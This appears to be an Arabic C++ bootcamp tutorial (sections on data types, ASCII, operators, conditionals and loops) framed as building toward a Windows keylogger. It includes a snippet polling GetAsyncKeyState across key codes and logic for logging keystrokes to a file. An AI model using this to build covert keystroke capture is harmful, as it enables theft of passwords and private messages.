جرّب بنفسك: غيّر x = 10 و y = 7 وأعد التشغيل. أضف سطراً int diff = x - y; واطبعه. ثمّ جرّب الضرب (*) والقسمة (/) — وانتبه لما تُخرجه القسمة بين عددين صحيحين.

أنواع البيانات الأساسية — Data Types

لماذا نحتاج أنواعاً أصلاً؟ لأنّ الـ Compiler يجب أن يعرف كم صندوقاً يحجز وكيف يفسّر ما بداخلها. الجدول التالي هو مرجعك لبقيّة هذا الفصل:

النوعالحجمالنطاقمثالالاستخدام في الـ Keylogger
int4 bytes-2 مليار إلى +2 مليارint age = 25;أرقام عامّة
char1 byte-128 إلى 127char c = 'A';تحويل رموز المفاتيح
unsigned char1 byte0 إلى 255unsigned char c = 65;تخزين Virtual Key Codes
bool1 bytetrue / falsebool shift = false;هل Shift مضغوط؟
stringمتغيّرنصّ بأيّ طولstring f = "Record.txt";اسم ملفّ السجلّ

معمل: كم بايت يستهلك كلّ نوع؟

لا تصدّق الجدول — أثبته على جهازك أنت:

cpp
#include <iostream>
using namespace std;

int main() {
    cout << "int           = " << sizeof(int) << " bytes\n";
    cout << "char          = " << sizeof(char) << " bytes\n";
    cout << "unsigned char = " << sizeof(unsigned char) << " bytes\n";
    cout << "bool          = " << sizeof(bool) << " bytes\n";
    cout << "double        = " << sizeof(double) << " bytes\n";
    return 0;
}

النتيجة المتوقّعة:

text
int           = 4 bytes
char          = 1 bytes
unsigned char = 1 bytes
bool          = 1 bytes
double        = 8 bytes

sizeof — عامل وقت الـ Compile

sizeof ليست دالّة رغم شكلها — بل عامل (operator) يحسب الحجم وقت الترجمة، لا وقت التشغيل. أي أنّ الـ Compiler يستبدلها بالرقم النهائيّ قبل أن يولد البرنامج أصلاً؛ لا توجد أيّ تكلفة زمنيّة عند التشغيل. تُرجع عدد البايتات التي يستهلكها أيّ نوع أو أيّ متغيّر.

وانتبه: القيم تختلف من معالج لآخر ومن نظام لآخر — long مثلاً قد يكون 4 أو 8 bytes حسب النظام. لهذا نكتب sizeof بدل أن نحفظ الأرقام عن ظهر قلب.

ASCII — جدول ربط الحروف بالأرقام

عدنا إلى المشكلة الأساسيّة: الذاكرة لا تحفظ إلّا أرقاماً، والحاسوب لا يعرف الحروف إطلاقاً. فكيف يطبع cout حرف A؟

الجواب اسمه ASCII — اختصار American Standard Code for Information Interchange. هو اتّفاق دوليّ صدر عام 1963 يقول ببساطة: «كلّ حرف إنجليزيّ ورقم ورمز له رقم محدّد من 0 إلى 127». بفضل هذا الاتّفاق، حرف 'A' هو الرقم 65 على كلّ جهاز في العالم، وعبر كلّ لغات البرمجة، منذ ستّين سنة حتى اليوم.

فحين تكتب char c = 'A'; أنت في الحقيقة تكتب 65 في صندوق واحد. لا أكثر.

قصّة من التاريخ: Bob Bemer، أبو الـ ASCII

بدأ العمل على المعيار عام 1960 داخل لجنة ASA X3.2. قدّم Bob Bemer من IBM اقتراحات محوريّة عام 1961، ويُلقَّب اليوم بـ«أبي الـ ASCII». صدر المعيار رسميّاً عام 1963، واستُخدم تجاريّاً لأوّل مرّة في السنة نفسها على شبكة TWX من AT&T.

تخيّل البديل لو لم يحدث هذا الاتّفاق: كلّ صانع كمبيوتر يخترع جدول حروف خاصّاً به، ولا يستطيع جهازان من شركتين مختلفتين تبادل جملة واحدة. كثير ممّا نعتبره بديهيّاً اليوم هو نتيجة قرار لجنة في الستينات.

رمزASCIIرمزASCIIرمزASCII
A65a97048
B66b98957
Z90z122space32

فالحروف الكبيرة تمتدّ من 'A' = 65 إلى 'Z' = 90، والصغيرة من 'a' = 97 إلى 'z' = 122. وإذا طرحتَ أيّ حرف صغير من مثيله الكبير ستجد الفارق ثابتاً: 32 دائماً.

سرّ الـ 32 — لماذا 'a' - 'A' = 32؟

هذه ليست صدفة، وليست نتيجة عدّ عشوائيّ. Bob Bemer وفريقه قرّروا عمداً أن يكون الفصل بين كلّ حرف كبير ومثيله الصغير قيمةً ثابتةً = 32.

السبب يظهر في الثنائي: الرقم 32 يُكتب 100000 — أي بِت واحد مرفوع وكلّ ما عداه صفر. ومعنى ذلك أنّ التحويل من كبير إلى صغير والعكس يكفي فيه قلب bit واحد فقط، هو الـ bit رقم 5:

text
'A' = 0100 0001  =  65
'a' = 0110 0001  =  97
      ^
      الـ bit رقم 5 هو الفرق الوحيد (قيمته 32)

انظر إلى الصفّين: كلّ الخانات متطابقة إلّا واحدة. في أجهزة الستّينات — حيث كانت كلّ عمليّة تُحسب — كان هذا تحسيناً ضخماً: تحويل حالة الحرف صار عمليّة واحدة بدل جدول بحث كامل:

cpp
'A' XOR 0x20 = 'a'         // قلب الحالة بعملية واحدة!

ونحن نستفيد من هذا مباشرةً في الـ Keylogger. بدل أن نبني جدولاً ضخماً يربط كلّ حرف كبير بمثيله الصغير، نكتب سطراً واحداً:

cpp
c += 32;

هذا السطر يحوّل أيّ حرف كبير ('A'..'Z') إلى مثيله الصغير ('a'..'z') مباشرةً. كفاءة كاملة بسطر واحد، وأنت الآن تعرف لماذا تعمل.

معمل: char هو رقم في الحقيقة

هذا المعمل هو لحظة الإدراك في القسم كلّه. اكتبه وشغّله:

cpp
#include <iostream>
using namespace std;

int main() {
    char letter = 'A';

    cout << "As a letter: " << letter << endl;
    cout << "As a number: " << (int)letter << endl;
    cout << "Add 1:       " << (char)(letter + 1) << endl;
    cout << "Add 32:      " << (char)(letter + 32) << endl;
    return 0;
}

النتيجة:

text
As a letter: A
As a number: 65
Add 1:       B
Add 32:      a

متغيّر واحد، قيمة واحدة في الذاكرة — وأربع طباعات مختلفة. هذا بالضبط منطق الـ Keylogger: رمز المفتاح يصل رقماً، ونحن نقرّر متى نعامله رقماً ومتى نعامله حرفاً.

(int) و (char) — Type Casting

  • (int)letter تخبر الـ Compiler: «عاملها كرقم وقت الطباعة».
  • (char)(65 + 32) تخبره: «عامل النتيجة كحرف وقت الطباعة».

هذا اسمه Type Casting — تغيير نوع التفسير دون تغيير القيمة الفعليّة في الذاكرة. الصندوق فيه 97 قبل الـ cast وبعده؛ ما تغيّر هو كيف يُقرأ فقط. احتفظ بهذه الجملة، فهي تتكرّر في كلّ ما هو قادم.

لماذا unsigned char للـ Keylogger؟

وصلنا إلى النقطة التي يقف عليها الفصل كلّه. Windows يعطي كلّ مفتاح في لوحة المفاتيح رقماً يسمّى Virtual Key Code، وهذه الأرقام تقع في المدى من 0 إلى 255.

char العادي — مشكلة حقيقيّة

char له نطاق -128 إلى 127. فرمز المفتاح 200 خارج النطاق تماماً. الـ Compiler سيعالجه كرقم سالب، وحلقتنا:

cpp
for (c = 0; c < 222; c++)

ستنكسر عند 127 — لأنّ القيمة التالية تلتوي إلى السالب فلا يتحقّق الشرط بالطريقة المتوقّعة، وتضيع منك نصف لوحة المفاتيح بصمت. وهذا أسوأ نوع من الأخطاء: البرنامج يعمل، لا يُظهر رسالة خطأ، ويعطيك بيانات ناقصة.

unsigned char — الحلّ

unsigned char له نطاق 0 إلى 255، ويغطّي كلّ الـ Virtual Key Codes (الموجودة من 0 إلى 254). لا أرقام سالبة، لا التواء، لا حلقات تنكسر:

cpp
// في كود الـ Keylogger:
unsigned char c;
for (c = 8; c < 222; c++) {
    if (GetAsyncKeyState(c) == -32767) {
        // اكتشفنا مفتاحاً مضغوطاً برمز c
    }
}

تغيير صغير — كلمة unsigned واحدة — وأثر كبير: استقرار البرنامج وصحّة المنطق على كامل نطاق المفاتيح. وهذا هو الدرس الذي يجب أن تحمله معك: اختيار النوع ليس تفصيلاً شكليّاً، بل قرار هندسيّ يحدّد هل تعمل أداتك أم تفشل نصفها بصمت.

ملخّص القسم

  • الذاكرة = ملايين الصناديق (بايتات) مُعنوَنة، كلّ واحد يحفظ رقماً من 0 إلى 255.
  • المتغيّر = اسم نعطيه لمنطقة في الذاكرة (نوع + اسم + قيمة).
  • أنواع أساسيّة: int (4B)، char (1B)، unsigned char (1B)، bool (1B)، string.
  • char هو رقم في الحقيقة — 'A' = 65 — وهذا هو جدول ASCII.
  • ASCII صدر عام 1963، وصاحب الاقتراحات المحوريّة فيه Bob Bemer من IBM، «أبو الـ ASCII».
  • 'a' - 'A' = 32 ليست صدفة — bit واحد فقط مختلف، لتحويل الحالة بعمليّة واحدة.
  • في الـ Keylogger نستخدم unsigned char لأنّ Virtual Key Codes من 0 إلى 255.

تأكّد أنّك تستطيع شرح كلّ نقطة من هذه لزميلك بكلماتك أنت قبل أن تنتقل إلى القسم التالي.

اختبر نفسك

  1. ما الفرق بين الـ bit والـ byte، ولماذا يُقال إنّ البايت هو «أصغر وحدة مُعنوَنة» وليس البِت؟
  2. عند تنفيذ int age = 25; ثمّ age = 30;، كم مرّة حُجزت ذاكرة، وماذا حدث في الخطوة الثانية بالضبط؟
  3. sizeof تُحسب وقت الترجمة لا وقت التشغيل. ماذا يعني هذا عمليّاً لأداء برنامجك؟
  4. اشرح بالثنائي لماذا 'A' XOR 0x20 تساوي 'a'، وأيّ bit هو المسؤول.
  5. لو استعملتَ char بدل unsigned char في حلقة for (c = 8; c < 222; c++)، أيّ المفاتيح ستفقدها ولماذا لن يُظهر البرنامج أيّ رسالة خطأ؟

القسم 4القسم 4: العمليات والشروط

حتى الآن يعرف برنامجك أن يُخزّن قيماً ويطبعها. لكنّ البرنامج الذي لا يفعل غير ذلك ليس برنامجاً بعد — إنّه ورقة تُعيد قراءة ما كُتب عليها. البرنامج الحقيقيّ يحسب ويقرّر: يأخذ قيمتين ويجمعهما، يقارن رقماً برقم، ثمّ يسلك طريقاً أو آخر بناءً على النتيجة. هذا القسم هو حيث يتعلّم كودك أن يتّخذ قرارات. وليست هذه مبالغة تعليميّة: كلّ الـ Keylogger الذي نبنيه لاحقاً هو في جوهره سلسلة قرارات — «هل هذا المفتاح حرف كبير؟ هل Shift مضغوط؟ إلى أيّ منطقة ينتمي؟» — وكلّ قرار منها يُكتب بالأدوات التي في هذا القسم بالذات.

العمليات الحسابية — Arithmetic Operators

العمليات الحسابية هي الرموز التي تأمر المعالج بأن يجمع ويطرح ويضرب ويقسم. أغلبها بديهيّ لأنّك تعرفه من المدرسة، لكنّ اثنين منها يخبّئان مفاجأة سنقف عندها بعد الجدول.

العاملالعمليةمثالالنتيجة
+جمع17 + 522
-طرح17 - 512
*ضرب17 * 585
/قسمة (صحيحة!)17 / 53 ← لا كسور!
%باقي القسمة (modulo)17 % 52
++زيادة بـ 1x++x = x + 1
+=إضافة وتعيينx += 5x = x + 5

تحذير: القسمة الصحيحة تقصّ الكسر

قد تنظر إلى السطر 17 / 5 وتتوقّع 3.4، فهذا ما تُخبرك به الآلة الحاسبة. لكنّ C++ تُعطيك 3. لماذا؟ لأنّ كلا الرقمين int — أعداد صحيحة بلا خانة عشرية — والقسمة بين عددين صحيحين نتيجتها عدد صحيح. لغة C++ لا تُقرّب، بل تقصّ كلّ ما بعد الفاصلة وترميه. فـ 17 / 5 يصبح 3، والـ 0.4 الضائع يذهب بلا رجعة.

قد تسأل: وأين ذهب هذا 0.4؟ هنا يأتي دور %. العامل % (modulo، باقي القسمة) يُعطيك بالضبط الجزء الذي عجزت القسمة الصحيحة عن توزيعه: 17 % 5 = 2، أي أنّ خمسة تدخل في سبعة عشر ثلاث مرّات ويتبقّى 2. القسمة / تُعطيك «كم مرّة»، والباقي % يُعطيك «كم تبقّى» — وهما معاً يصفان القسمة كاملةً.

فإن أردت فعلاً الكسر 3.4؟ اجعل أحد الرقمين على الأقلّ double بأن تكتب فاصلة عشرية: 17.0 / 5.0 = 3.4. عندها تفهم C++ أنّك تريد حساباً عشريّاً فلا تقصّ شيئاً. هذا الفخّ — عدد صحيح يبتلع الكسر بصمت — من أكثر مصادر الأخطاء الرياضيّة شيوعاً عند المبتدئين، فاحفظه جيّداً.

معمل: كلّ العمليات في برنامج واحد

افتح VS Code الآن واكتب هذا الكود بيدك — لا تنسخه، فالكتابة باليد هي ما يُرسّخ الصياغة في ذاكرتك:

cpp
#include <iostream>
using namespace std;

int main() {
    int a = 17, b = 5;

    cout << a << " + " << b << " = " << (a + b) << endl;
    cout << a << " - " << b << " = " << (a - b) << endl;
    cout << a << " * " << b << " = " << (a * b) << endl;
    cout << a << " / " << b << " = " << (a / b) << "  (integer!)" << endl;
    cout << a << " % " << b << " = " << (a % b) << "  (remainder)" << endl;
    return 0;
}

شغّله وستحصل على:

text
17 + 5 = 22
17 - 5 = 12
17 * 5 = 85
17 / 5 = 3 (integer!)
17 % 5 = 2 (remainder)

لاحظ السطر الرابع بعينك: 3 وليس 3.4. هذا هو التحذير أعلاه يتحوّل من كلام إلى ناتج على شاشتك.

وفي الـ Keylogger لاحقاً سنستعمل += بكثرة، وأشهر استعمال له سطر واحد: c += 32;. هذا السطر يُحوّل الحرف الكبير إلى صغير — لأنّ الفرق بين 'A' و 'a' في جدول ASCII هو 32 بالضبط. عمليّة حسابية بسيطة، أثرها العمليّ مباشر: حرف يتغيّر من كبير إلى صغير بجمعٍ واحد.

عمليات المقارنة — Comparison Operators

العمليات الحسابية تُنتج أرقاماً؛ عمليات المقارنة تُنتج أحكاماً. كلّ مقارنة تأخذ قيمتين وتسأل عنهما سؤالاً نعم/لا، فتُرجع true (تُمثَّل داخليّاً بـ 1) أو false (تُمثَّل بـ 0). المهمّ أنّها لا تُغيّر القيم الأصلية — تنظر إليها وتحكم فقط. وهذا الحكم هو الوقود الذي تعمل عليه الشروط if والحلقات while لاحقاً.

العاملالمعنىمثال (a=10, b=7)النتيجة
==يساوي (مقارنة، ليس تعيين!)a == bfalse
!=لا يساويa != btrue
>أكبر منa > btrue
<أصغر منa < bfalse
>=أكبر من أو يساويa >= 10true
<=أصغر من أو يساويa <= 9false

الخطأ الأشهر في حياة كلّ مبرمج: == مقابل =

انتبه جيّداً لعلامة يساوي مزدوجة == في الجدول أعلاه، فبينها وبين اليساوي المفردة = هوّة تبتلع ساعات من التصحيح. العلامة المفردة = هي تعيين: x = 5 تعني «ضع الرقم خمسة في x». العلامة المزدوجة == هي مقارنة: x == 5 تعني «هل x يساوي خمسة؟». خلطهما لا يُنتج غالباً خطأ تصريف صاخباً — بل يكسر منطق الكود بصمت: تكتب if (x = 5) قاصداً السؤال، فيقوم البرنامج بوضع 5 في x ثمّ يعتبر النتيجة صحيحة دائماً. تذكّر القاعدة: مفردة تُسند، مزدوجة تسأل.

العمليات المنطقية — Logical Operators

عمليات المقارنة تُعطيك حكماً واحداً في كلّ مرّة. لكنّ القرارات الحقيقية كثيراً ما تحتاج إلى دمج عدّة أحكام: «هل الحرف كبير و Shift غير مضغوط؟». هنا تدخل العمليات المنطقية، التي تأخذ قيماً منطقية (نتائج مقارنات) وتجمعها في حكم واحد.

العاملالاسممتى يكون true؟مثال
&&ANDكلا الطرفين true(c > 64) && (c < 91)
`\\`ORأحد الطرفين true`(c == 0) \\(c == 13)`
!NOTالطرف false!shiftPressed

هذه الجداول الثلاثة تلتقي كلّها في قلب الـ Keylogger. تخيّل السؤال الذي يطرحه الكود على كلّ ضغطة: «هل هذا المفتاح حرف كبير (بين A و Z)، وفي الوقت نفسه Shift غير مضغوط؟». هذا سؤال مركّب من ثلاثة شروط، والجواب يُكتب بـ AND هكذا:

cpp
(c > 64) && (c < 91) && !shiftPressed

ثلاثة شروط مربوطة بـ &&، وكلّها يجب أن تتحقّق ليكون الحكم النهائيّ true. هذا بالضبط ما يفعله الـ Keylogger ليقرّر أنّ الضغطة تنتمي إلى «المنطقة الأولى» من المفاتيح.

التقييم القصير — Short-Circuit Evaluation

لـ && و || عادة ذكيّة تُوفّر وقتاً وتمنع أخطاء. في &&: لو كان الطرف الأول false، فالنتيجة false حتماً مهما كان الطرف الثاني — فتتجاهل C++ الطرف الثاني ولا تُقيّمه أصلاً. وفي ||: لو كان الطرف الأول true، فالنتيجة true حتماً، فيُتجاهَل الثاني. هذا يُسمّى Short-Circuit Evaluation، وفائدته مزدوجة: أداء أسرع (لا تحسب ما لا يلزم)، وأمان (يمكنك أن تفحص أنّ مؤشّراً ليس فارغاً في الطرف الأول قبل أن تستعمله في الثاني، واثقاً أنّ الثاني لن يُنفّذ إن فشل الأول).

معمل: العمليات المنطقية

اكتب هذا وشغّله:

cpp
#include <iostream>
using namespace std;

int main() {
    int c = 72;            // ASCII 'H'
    bool shiftDown = false;

    cout << boolalpha;
    cout << "c > 64           : " << (c > 64) << endl;
    cout << "c < 91           : " << (c < 91) << endl;
    cout << "!shiftDown       : " << (!shiftDown) << endl;
    cout << "ALL three (&&)   : " << (c > 64 && c < 91 && !shiftDown) << endl;
    return 0;
}

النتيجة:

text
c > 64           : true
c < 91           : true
!shiftDown       : true
ALL three (&&)   : true

هذا السطر الأخير — النتيجة المجمّعة true — هو حرفيّاً منطق «المنطقة الأولى» (Zone 1) في الـ Keylogger: الحرف H رمزه 72، وهو أكبر من 64 وأصغر من 91، و Shift غير مضغوط، فالأحكام الثلاثة صحيحة والحكم النهائيّ صحيح. عندها يقول الـ Keylogger: «هذا حرف كبير بلا Shift، حوّله إلى صغير» فيُنفّذ c += 32 الذي رأيناه أعلاه.

لاحظ أيضاً السطر cout << boolalpha;. بدونه، تطبع C++ القيم المنطقية كأرقام: 1 بدل true و 0 بدل false. والكلمة boolalpha (معرّفة في iostream) تأمرها أن تطبع الاسم الكامل بدل الرقم. إنّها حيلة عرض بحتة لا تُغيّر شيئاً في المنطق، لكنّها تجعل قراءة نتائج الـ debugging أوضح بكثير.

الشروط — if / else if / else

جمعنا الآن كلّ القطع: نحسب بالعمليات الحسابية، ونحكم بالمقارنات، وندمج الأحكام بالمنطقيات. تبقّى أن نجعل البرنامج يتصرّف بناءً على هذه الأحكام — أن يسلك طريقاً إن كان الحكم صحيحاً وطريقاً آخر إن كان خاطئاً. هذا عمل if.

cpp
int c = 72;

if (c > 64 && c < 91) {
    cout << "حرف كبير";
}
else if (c >= 97 && c <= 122) {
    cout << "حرف صغير";
}
else {
    cout << "ليس حرفاً";
}

اقرأ هذا كما يقرأه المعالج، سطراً سطراً:

  1. يفحص شرط if الأول. لو كان true، يُنفّذ كتلته فقط، ثمّ يقفز فوق كلّ ما تبقّى ولا ينظر إلى else if ولا else.
  2. لو كان شرط if الأول false، ينتقل ليُجرّب شرط else if.
  3. يستمرّ هكذا نازلاً عبر كلّ else if حتى يجد أوّل شرط صحيح فيُنفّذه ويتوقّف.
  4. لو كانت كلّ الشروط false، يُنفّذ كتلة else (إن وُجدت). الـ else هي شبكة الأمان: «إن لم يصدق أيّ ممّا سبق، فافعل هذا».

نقطة مهمّة عن الأقواس { }: كما رأينا مع الدوالّ، كلّ زوج من الأقواس المعقوفة يُعرّف نطاقاً (scope) يحدّد ما يُنفَّذ ضمن هذا الفرع. لو حذفت الأقواس بعد if، تُنفَّذ جملة واحدة فقط بعده — والباقي يُنفَّذ دائماً بلا شرط، وهو خطأ خفيّ يصعب اكتشافه. أفضل ممارسة راسخة: ضع الأقواس { } دائماً حتى لو كانت الكتلة سطراً واحداً.

وهنا تظهر بنية الـ Keylogger بأكملها. فهو يقسم كلّ ضغطة إلى ثلاث مناطق (Zones) عبر سلسلة if / else if / else تماماً كهذه:

  1. حرف كبير و Shift غير مضغوط ← حوّله إلى صغير.
  2. حرف كبير و Shift مضغوط ← اتركه كبيراً.
  3. أيّ شيء آخر (مفاتيح خاصّة: Space، Enter، أرقام...) ← سلّمه إلى switch.

وهذه النقطة الثالثة هي جسرنا إلى الأداة الأخيرة في هذا القسم.

switch — اختصار لسلسلة if طويلة

تخيّل أنّك تريد أن تُترجم رقم اليوم (1 إلى 7) إلى اسمه. يمكنك كتابة if (day == 1) ... else if (day == 2) ... else if (day == 3) ... وهكذا سبع مرّات. سيعمل، لكنّه مُرهِق للقراءة ومليء بتكرار day ==. حين تقارن قيمة واحدة بمجموعة من الثوابت الكثيرة، هناك أداة أنظف بُنيت لهذا الغرض بالذات: switch.

cpp
int day = 3;

switch (day) {
    case 1: cout << "Mon";   break;
    case 2: cout << "Tue";   break;
    case 3: cout << "Wed";   break;
    case 4: cout << "Thu";   break;
    case 5: cout << "Fri";   break;
    default: cout << "Weekend";
}

تقرأ switch (day) هكذا: «خذ قيمة day، ثمّ اقفز مباشرةً إلى الـ case الذي يطابقها». الرقم 3 يقودنا إلى case 3. والكلمة default تلعب دور else: تُنفَّذ حين لا يطابق أيّ case.

متى تختار switch على if؟

هذه قاعدة عمليّة ستحتاجها كثيراً في هذا البوتكامب: استعمل switch حين تقارن قيمة واحدة بعدد كبير من القيم الثابتة المحدّدة (رقم يساوي 1 أو 2 أو 3...). فهو أوضح للقارئ وأسرع للمعالج من سلسلة if / else if طويلة، لأنّ المعالج يستطيع القفز مباشرةً إلى الحالة المطابقة بدل فحص الشروط واحداً واحداً. أمّا حين تكون شروطك مجالات أو تعبيرات مركّبة (c > 64 && c < 91) لا قيماً مفردة، فابقَ مع if — فـ switch لا يعرف المجالات، يعرف المطابقة الدقيقة فقط. باختصار: مطابقة قيمة بثوابت ← switch؛ فحص مجال أو تعبير منطقيّ ← if.

تحذير جوهريّ: break ضرورية

لاحظ كلمة break في نهاية كلّ case. هذه ليست زينة — إنّها التي توقف التنفيذ وتُخرجك من switch. لو نسيتها، لا يتوقّف البرنامج عند نهاية الحالة المطابقة، بل يستمرّ منحدراً إلى الحالة التي تليها ثمّ التي تليها، مُنفّذاً أكوادها كلّها. هذا السلوك يُسمّى fallthrough، وهو من أخبث مصادر الأخطاء لأنّ الكود يبدو سليماً بينما ينتج نتائج غريبة. القاعدة: break في نهاية كلّ case إلا حين تقصد الـ fallthrough عن عمد.

معمل: switch البسيط

اكتب هذا وشغّله، ثمّ العب به:

cpp
#include <iostream>
using namespace std;

int main() {
    int day = 3;

    switch (day) {
        case 1: cout << "Monday";    break;
        case 2: cout << "Tuesday";   break;
        case 3: cout << "Wednesday"; break;
        case 4: cout << "Thursday";  break;
        case 5: cout << "Friday";    break;
        default: cout << "Weekend";  break;
    }
    cout << endl;
    return 0;
}

النتيجة، لأنّ day = 3:

text
Wednesday

الآن جرّب بنفسك: غيّر day إلى 6 ثمّ إلى 7. في كلتا الحالتين لا يطابق أيّ case صريح، فيتولّى default الأمر وتحصل على Weekend. وكتجربة مقصودة: احذف break من case 3 وأعد التشغيل — سترى Wednesday يليها ما بعدها لأنّ التنفيذ انحدر عبر الحالات. هكذا ترى الـ fallthrough بعينك بدل أن تحفظه ككلام.

ولماذا نهتمّ بـ switch إلى هذا الحدّ؟ لأنّك ستجده ضخماً في قلب الـ Keylogger: كتلة switch واحدة تُترجم عشرات المفاتيح الخاصّة (Space، Enter، Backspace، الأرقام، علامات الترقيم...) كلّاً إلى نصّه القابل للحفظ في السجلّ. تخيّل نفس المنطق مكتوباً بأكثر من ثلاثين if / else if — ستفهم فوراً لماذا switch هو الاختيار الصحيح هنا. الكود اللاحق في هذا البوتكامب يتّكئ على switch بثقل، فأتقنه الآن.

خلاصة القسم

في هذا القسم علّمنا الكود أن يحسب ويقرّر. لخّص لنفسك، وتأكّد أنّك تستطيع شرح كلّ سطر لزميلك قبل الانتقال:

  • العمليات الحسابية + - * / % — وتذكّر أنّ 17 / 5 = 3 بالأعداد الصحيحة، وأنّ % يُعطيك الباقي المفقود.
  • عمليات المقارنة == != > < >= <= تُرجع true/false، ولا تخلط == بـ =.
  • العمليات المنطقية && و || و ! تدمج الأحكام، مع Short-Circuit يتجاهل ما لا يلزم.
  • if / else if / else لاتّخاذ قرارات متفرّعة، كلّ فرع داخل أقواسه { }.
  • switch أنسب من if الطويلة لمطابقة قيمة واحدة بثوابت كثيرة، وbreak فيه تمنع الـ fallthrough الخفيّ.

هذه الأدوات كلّها ستلتقي في الـ Keylogger لتمييز المناطق الثلاث للمفاتيح — وهي حرفيّاً كلّ ما يحتاجه البرنامج ليقرّر ماذا يفعل بكلّ ضغطة.

اختبر نفسك

  1. لماذا 17 / 5 يساوي 3 وليس 3.4 في C++، وكيف تجعله يُعطيك 3.4؟
  2. ما الفرق بين = و ==، وماذا يحدث لو كتبت if (x = 5) بدل if (x == 5)؟
  3. في التعبير (c > 64) && (c < 91) && !shiftPressed، لو كان c = 40، هل تُقيّم C++ الطرفين الثاني والثالث؟ ولماذا؟
  4. متى تختار switch بدل سلسلة if / else if، ومتى يستحيل استعمال switch فتضطرّ للبقاء مع if؟
  5. ماذا يحدث لو نسيت break في أحد الـ case، وما اسم هذا السلوك؟

القسم 5القسم 5: الحلقات

تريد طباعة الأرقام من 0 إلى 9. تكتب عشرة أسطر cout وتنتهي المسألة. والآن تريد من 0 إلى 999. هل تكتب ألف سطر؟

الحاسوب ممتاز في شيء واحد يفوق فيه البشر بلا منازع: التكرار بلا ملل وبلا خطأ. كلّ ما ينقصه أن تقول له: كرّر هذا الكود حتّى يتحقّق شرط معيّن. تلك الجملة اسمها حلقة.

ونحتاج نوعين منها:

النوعالصيغةمتى
محدودةfor (i = 0; i < 10; i++)تعرف عدد التكرارات من البداية
لا نهائيّةfor (;;)لا تتوقّف أبداً، إلّا بـ break أو بنهاية البرنامج

ستستعمل النوعين معاً في القسم 9، متداخلين أحدهما داخل الآخر.


تفكيك الـ for

cpp
for ( int i = 0 ;   i < 10 ;   i++ ) {
      ↑ تهيئة      ↑ شرط     ↑ بعد كل دورة
    cout << i;
}

ثلاثة أجزاء بين القوسين، مفصولة بفاصلتين منقوطتين، ولكلّ واحد لحظة تنفيذ مختلفة:

الجزءمتى يُنفَّذ؟المهمّة
int i = 0مرّة واحدة في البدايةيُنشئ العدّاد ويعطيه قيمة البدء
i < 10قبل كلّ دورةلو true نفّذ الكتلة، لو false اخرج
i++بعد كلّ دورةيعدّل العدّاد للدورة التالية

النتيجة: تُطبع i من 0 إلى 9، أي عشر دورات. وعند i = 10 يصير الشرط false فتنتهي الحلقة. لاحظ أنّ الرقم 10 نفسه لا يُطبع أبداً — هذا مصدر خطأ شائع جدّاً، وله اسم: خطأ الواحد (off-by-one).

🧪 معمل: حلقة محدودة

cpp
#include <iostream>
using namespace std;

int main() {
    for (int i = 0; i < 5; i++) {
        cout << "Iteration " << i << endl;
    }
    cout << "--- Done ---" << endl;
    return 0;
}

النتيجة: خمسة أسطر من Iteration 0 إلى Iteration 4، ثمّ --- Done ---.

ثمّ جرّب بنفسك، ولا تكتفِ بالقراءة:

  • غيّر 5 إلى 10. كم دورةً ستحدث؟
  • اجعلها int i = 100 و i < 200. ستطبع من 100 إلى 199.
  • استبدل i++ بـ i += 2. ستطبع الأرقام الزوجيّة وحدها.

الجزء الثالث ليس ملزَماً بالزيادة واحداً. هو أيّ تعديل تريده على العدّاد.


الحلقة اللا نهائيّة: for(;;)

لماذا قد يريد أحد حلقةً لا تنتهي؟

لأنّ صنفاً كاملاً من البرامج وظيفته ألّا ينتهي. خادم الويب يجب أن يبقى مستمعاً. برنامج المراقبة يجب أن يبقى يراقب. مثل هذه البرامج لا تُنجز مهمّةً ثمّ تخرج؛ هي تفحص، ثمّ تفحص، ثمّ تفحص، إلى أن يوقفها أحد.

cpp
for (;;) {
    // كود يتكرّر للأبد
    // لا تهيئة، لا شرط، لا عدّاد
}

القوسان فارغان من أجزائه الثلاثة. لا شرط يعني لا شيء يمكن أن يصير false، ولا شيء يوقف الحلقة.

وهناك صيغة مكافئة تماماً يفضّلها كثيرون لوضوحها:

cpp
while (true) {
    // نفس الشيء بالضبط
}

الاثنتان شائعتان ولا فرق بينهما في الأداء. for(;;) أسرع كتابةً، و while (true) أوضح قراءةً. اختر واحدةً والتزم بها.

وستراهما متداخلتين لاحقاً: حلقة خارجيّة لا نهائيّة تُبقي البرنامج حيّاً، وحلقة داخليّة محدودة تمرّ على نطاق ثابت في كلّ دورة. هذا نمط ستقابله في كلّ برنامج خدميّ تكتبه في حياتك.


break و continue — التحكّم داخل الحلقة

الحلقة ليست كتلةً مغلقة تنتظر شرطها. تستطيع التدخّل في مجراها بكلمتين:

  • break — اخرج من الحلقة فوراً. الكود الذي بعد الحلقة يستأنف تنفيذه. مفيد للخروج المبكّر عند تحقّق شرط ما.
  • continue — تجاوز بقيّة هذه الدورة وانتقل إلى التالية. مفيد لتخطّي حالة خاصّة دون كسر الحلقة كلّها.

الفرق بينهما في مثال واحد:

cpp
for (int i = 0; i < 10; i++) {
    if (i == 3) continue;   // تخطَّ الثلاثة
    if (i == 7) break;      // اخرج عند السبعة
    cout << i << " ";
}
// النتيجة: 0 1 2 4 5 6

اقرأ النتيجة جيّداً. الرقم 3 غاب لأنّ continue قفز فوق سطر الطباعة. والرقم 7 غاب أيضاً — لكن لسبب آخر تماماً: break أنهى الحلقة قبل أن يصل التنفيذ إلى سطر الطباعة. وما بعد 7 لم يحدث أصلاً.

🧪 معمل: break و continue

cpp
#include <iostream>
using namespace std;

int main() {
    cout << "0-9 skipping 3, stopping at 7:" << endl;
    for (int i = 0; i < 10; i++) {
        if (i == 3) continue;
        if (i == 7) break;
        cout << i << " ";
    }
    cout << endl;
    return 0;
}

شغّله، ثمّ بدّل ترتيب السطرين continue و break وشغّله ثانيةً. هل تغيّرت النتيجة؟ ولماذا؟ الإجابة عن هذا السؤال وحدها تعني أنّك فهمت الحلقة.


خلاصة القسم

  • for حلقة محدودة بثلاثة أجزاء: تهيئة، شرط، خطوة.
  • for(;;) حلقة لا نهائيّة، وهي قلب أيّ برنامج يُفترض أن يبقى يعمل.
  • while (true) مكافئة لها تماماً.
  • break يخرج من الحلقة فوراً.
  • continue يتجاوز بقيّة الدورة وينتقل إلى التالية.
  • الحلقتان المتداخلتان — لا نهائيّة تحوي محدودة — نمط أساسيّ في البرامج الخدميّة.

اختبر نفسك

  1. في for (int i = 0; i < 10; i++)، أيّ الأجزاء الثلاثة يُنفَّذ مرّةً واحدة فقط؟
